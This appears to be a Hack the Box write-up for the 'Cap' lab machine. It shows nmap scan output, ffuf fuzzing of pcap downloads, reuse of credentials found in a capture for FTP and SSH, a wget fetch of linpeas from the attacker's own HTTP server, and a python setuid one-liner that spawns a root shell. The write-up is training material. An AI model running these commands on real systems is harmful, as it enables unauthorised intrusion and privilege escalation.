Hack the Box - Cap

hack the box Oct 3, 2021

Welcome back everyone. Today we are doing the Hack the Box machine - Cap. This is listed as an Easy machine. Let's get to it!

As usual, we start with an nmap, here are the results:

Host is up (0.049s latency).
Not shown: 65532 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    gunicorn
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 NOT FOUND
|     Server: gunicorn
|     Date: Fri, 13 Aug 2021 16:13:31 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 232
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Fri, 13 Aug 2021 16:13:25 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 19386
|     <!DOCTYPE html>
|     <html class="no-js" lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Security Dashboard</title>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
|     <link rel="stylesheet" href="/static/css/bootstrap.min.css">
|     <link rel="stylesheet" href="/static/css/font-awesome.min.css">
|     <link rel="stylesheet" href="/static/css/themify-icons.css">
|     <link rel="stylesheet" href="/static/css/metisMenu.css">
|     <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
|     <link rel="stylesheet" href="/static/css/slicknav.min.css">
|     <!-- amchar
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Fri, 13 Aug 2021 16:13:25 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Allow: GET, OPTIONS, HEAD
|     Content-Length: 0
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Content-Type: text/html
|     Content-Length: 196
|     <html>
|     <head>
|     <title>Bad Request</title>
|     </head>
|     <body>
|     <h1><p>Bad Request</p></h1>
|     Invalid HTTP Version &#x27;Invalid HTTP Version: &#x27;RTSP/1.0&#x27;&#x27;
|     </body>
|_    </html>
|_http-server-header: gunicorn
|_http-title: Security Dashboard
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.91%I=7%D=8/13%Time=61169A27%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,2FE5,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x20
SF:Fri,\x2013\x20Aug\x202021\x2016:13:25\x20GMT\r\nConnection:\x20close\r\
SF:nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20193
SF:86\r\n\r\n<!DOCTYPE\x20html>\n<html\x20class=\"no-js\"\x20lang=\"en\">\
SF:n\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x2
SF:0<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\x20\
SF:x20\x20\x20<title>Security\x20Dashboard</title>\n\x20\x20\x20\x20<meta\
SF:x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=
SF:1\">\n\x20\x20\x20\x20<link\x20rel=\"shortcut\x20icon\"\x20type=\"image
SF:/png\"\x20href=\"/static/images/icon/favicon\.ico\">\n\x20\x20\x20\x20<
SF:link\x20rel=\"stylesheet\"\x20href=\"/static/css/bootstrap\.min\.css\">
SF:\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/css/fon
SF:t-awesome\.min\.css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20
SF:href=\"/static/css/themify-icons\.css\">\n\x20\x20\x20\x20<link\x20rel=
SF:\"stylesheet\"\x20href=\"/static/css/metisMenu\.css\">\n\x20\x20\x20\x2
SF:0<link\x20rel=\"stylesheet\"\x20href=\"/static/css/owl\.carousel\.min\.
SF:css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/c
SF:ss/slicknav\.min\.css\">\n\x20\x20\x20\x20<!--\x20amchar")%r(HTTPOption
SF:s,B3,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x20Fri,\x2
SF:013\x20Aug\x202021\x2016:13:25\x20GMT\r\nConnection:\x20close\r\nConten
SF:t-Type:\x20text/html;\x20charset=utf-8\r\nAllow:\x20GET,\x20OPTIONS,\x2
SF:0HEAD\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,121,"HTTP/1\.1\x2
SF:0400\x20Bad\x20Request\r\nConnection:\x20close\r\nContent-Type:\x20text
SF:/html\r\nContent-Length:\x20196\r\n\r\n<html>\n\x20\x20<head>\n\x20\x20
SF:\x20\x20<title>Bad\x20Request</title>\n\x20\x20</head>\n\x20\x20<body>\
SF:n\x20\x20\x20\x20<h1><p>Bad\x20Request</p></h1>\n\x20\x20\x20\x20Invali
SF:d\x20HTTP\x20Version\x20&#x27;Invalid\x20HTTP\x20Version:\x20&#x27;RTSP
SF:/1\.0&#x27;&#x27;\n\x20\x20</body>\n</html>\n")%r(FourOhFourRequest,189
SF:,"HTTP/1\.0\x20404\x20NOT\x20FOUND\r\nServer:\x20gunicorn\r\nDate:\x20F
SF:ri,\x2013\x20Aug\x202021\x2016:13:31\x20GMT\r\nConnection:\x20close\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20232\
SF:r\n\r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x203\.2\x20
SF:Final//EN\">\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found</h1>
SF:\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20ser
SF:ver\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x20ch
SF:eck\x20your\x20spelling\x20and\x20try\x20again\.</p>\n");
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 157.90 seconds

We see three ports, 21,22 and 80. When we visit the page being hosted we get a landing page with some visulizations. We have a logged in user of nathan as well. When we browse around the site we get pcap download option. We landed on data set 10

However there is nothing in the pcap file. So to further enumerate the options we use ffuf.

Command:
ffuf -u http://10.10.10.245/data/FUZZ -w ./1-100.txt -fs 208

This gives us a much better result

Sifting through each of these pcap files and we get some data in the 0.pcap file:

We now have a username and password for the box. So we try it on the FTP service and it works!

This password also works for SSH. We can get into the box and start enumerating. We will host our enumeration script on our server and download it on the target machine.

Command:
python -m SimpleHTTPServer 80

Then download linpeas.

Command:
wget 10.10.14.68/linpeas.sh

Now we'll run linpeas and see what we can find.

A quick google leads us to XYZ and GTFO bins. We simply run the provided commands to obtain root access.

Command:
`/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'

That's it! Box complete!

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